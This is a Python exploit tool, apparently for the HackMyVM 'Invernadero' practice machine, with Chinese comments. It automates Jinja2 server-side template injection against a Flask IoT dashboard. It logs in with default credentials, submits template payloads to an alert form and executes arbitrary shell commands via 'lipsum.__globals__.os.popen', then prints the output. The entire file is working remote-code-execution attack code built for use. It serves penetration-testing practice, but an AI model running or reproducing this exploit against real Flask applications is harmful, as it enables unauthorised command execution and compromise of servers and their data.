#!/usr/bin/env python3 """Invernadero SSTI 利用脚本 (HackMyVM) 针对 8080 端口 Flask IoT 后台的 Jinja2 模板注入: render_template_string(mensaje_custom, sensor=..., condicion=...) 用法: python3 ssti_rce.py -t 192.168.1.107 --login # 仅登录并保存会话 python3 ssti_rce.py -t 192.168.1.107 -c 'id' # 单命令执行 python3 ssti_rce.py -t 192.168.1.107 -c 'cat /app/user.txt' python3 ssti_rce.py -t 192.168.1.107 -p '{{7*7}}' # 自定义 Jinja 表达式 python3 ssti_rce.py -t 192.168.1.107 -c 'id' --user admin --password admin123 python3 ssti_rce.py -t 192.168.1.107 -p '{{7*7}}' --retry # 仅幂等探针允许自动重试 说明: - 靶机使用 Flask 开发服务器,抗并发能力差,脚本内置请求间隔。 - flash 消息由 session Cookie 承载,POST /guardar_alerta 的 302 重定向 响应(urllib 自动跟随到 /alerts)中即包含回显,因此只需一次 POST; 单独再 GET /alerts 反而看不到已被消费的 flash。 - 每次提交都会在 SQLite 中新增一条告警规则,且 SSTI 命令在服务端先执行、 flash 后返回:回显缺失不等于命令未执行,默认不再自动重发有副作用的 请求。如需重试请确认命令幂等(如 {{7*7}})并显式加 --retry。 - session Cookie 会随规则累积膨胀;超过约 4093 字节后 Flask 会丢弃 Cookie, 此时应手动重登后重试,而非自动重放原命令。 """ import argparse import html import re import sys import time import urllib.parse import urllib.request from http.cookiejar import CookieJar TIMEOUT = 20 DEFAULT_DELAY = 2.0 class InvernaderoClient: def __init__(self, target, port, username, password, delay=DEFAULT_DELAY): self.base = f"http://{target}:{port}" self.username = username self.password = password self.delay = delay self.opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(CookieJar()) ) def _request(self, path, data=None, method=None): url = f"{self.base}{path}" body = urllib.parse.urlencode(data).encode() if data else None req = urllib.request.Request(url, data=body, method=method) with self.opener.open(req, timeout=TIMEOUT) as resp: return resp.status, resp.read().decode("utf-8", "replace") @staticmethod def _extract_preview(body): """从 mensaje-ok 提示中解析 Vista previa 回显。""" previews = re.findall( r'
\s*Regla guardada\. Vista previa:\s*(.*?)\s*
', body, re.S, ) if not previews: return None # 全部 flash 被 Jinja 渲染进同一条提示,取最后一条即可 return html.unescape(previews[-1]).strip() def login(self): _, _ = self._request( "/login", data={"username": self.username, "password": self.password}, method="POST", ) _, dashboard = self._request("/") if f'username-text">{self.username}' not in dashboard: raise RuntimeError( f"登录失败,请检查凭据 ({self.username}:{self.password})" ) def run_payload(self, payload, retry=False): """提交一个模板 payload,返回服务端渲染结果的 Vista previa 回显。 POST /guardar_alerta 会 302 到 /alerts,urllib 默认跟随该跳转, 因此 flash 回显直接出现在本次 POST 的响应体中——不需要再发一次 GET /alerts(那样反而拿到已被消费的空 flash)。 注意:服务端先执行 SSTI 并落库、再 flash 返回,回显缺失不等于未执行。 默认 retry=False 不自动重发;仅当确认 payload 幂等(如 {{7*7}} 的 纯计算探针)时,才用 retry=True 允许重登后重试一次。 """ data = { "mensaje_custom": payload, "sensor": "luz", "condicion": ">", "val": "9999", "envio_de_datos": "telegram", } time.sleep(self.delay) _, body = self._request("/guardar_alerta", data=data, method="POST") preview = self._extract_preview(body) if preview is None: if not retry: errors = re.findall( r'
\s*(.*?)\s*
', body, re.S ) reason = ";".join(e.strip() for e in errors) or "页面无提示信息" raise RuntimeError( f"未取得回显({reason})。" "命令可能已在服务端执行且已落库,未自动重试以避免副作用重复执行;" "请先用幂等探针(如 -p '{{7*7}}')验证会话,确认需要时加 --retry 重试" ) # 显式重试:多为 session Cookie 膨胀或会话失效,重新登录后仅重试一次 self.login() time.sleep(self.delay) _, body = self._request("/guardar_alerta", data=data, method="POST") preview = self._extract_preview(body) if preview is None: errors = re.findall( r'
\s*(.*?)\s*
', body, re.S ) reason = ";".join(e.strip() for e in errors) or "页面无提示信息" raise RuntimeError(f"未取得回显({reason})") return preview def run_command(self, command, retry=False): """通过 lipsum.__globals__.os 执行系统命令。""" if "'" in command: raise ValueError("命令中不能包含单引号,请改用双引号或 $'...' 变体") payload = "{{lipsum.__globals__.os.popen('%s').read()}}" % command return self.run_payload(payload, retry=retry) def main(): parser = argparse.ArgumentParser(description="HackMyVM Invernadero SSTI 利用工具") parser.add_argument("-t", "--target", required=True, help="目标 IP") parser.add_argument("--port", type=int, default=8080, help="Web 端口,默认 8080") parser.add_argument("--user", default="admin", help="后台用户名,默认 admin") parser.add_argument("--password", default="admin123", help="后台口令,默认 admin123") parser.add_argument("-c", "--command", help="通过 SSTI 执行的系统命令") parser.add_argument("-p", "--payload", help="自定义 Jinja 表达式,例如 '{{7*7}}'") parser.add_argument("--login", action="store_true", help="仅验证登录") parser.add_argument( "--delay", type=float, default=DEFAULT_DELAY, help="请求间隔秒数,默认 2" ) parser.add_argument( "--retry", action="store_true", help="回显缺失时重登后重试一次。仅用于幂等探针(如 {{7*7}}),有副作用的命令默认不重试", ) args = parser.parse_args() client = InvernaderoClient( args.target, args.port, args.user, args.password, delay=args.delay ) print(f"[*] 登录 {args.target}:{args.port} ({args.user}:{args.password})") client.login() print("[+] 登录成功") if args.login: return 0 if args.payload: print(f"[*] payload: {args.payload}") print(f"[+] 回显: {client.run_payload(args.payload, retry=args.retry)}") return 0 if args.command: print(f"[*] 命令: {args.command}") print("[+] 回显:") print(client.run_command(args.command, retry=args.retry)) return 0 # 默认执行一条身份探测命令,确认漏洞可利用 print("[*] 执行默认验证命令: id") print("[+] 回显:") print(client.run_command("id", retry=args.retry)) return 0 if __name__ == "__main__": try: sys.exit(main()) except Exception as exc: # noqa: BLE001 print(f"[-] 失败: {exc}", file=sys.stderr) sys.exit(1)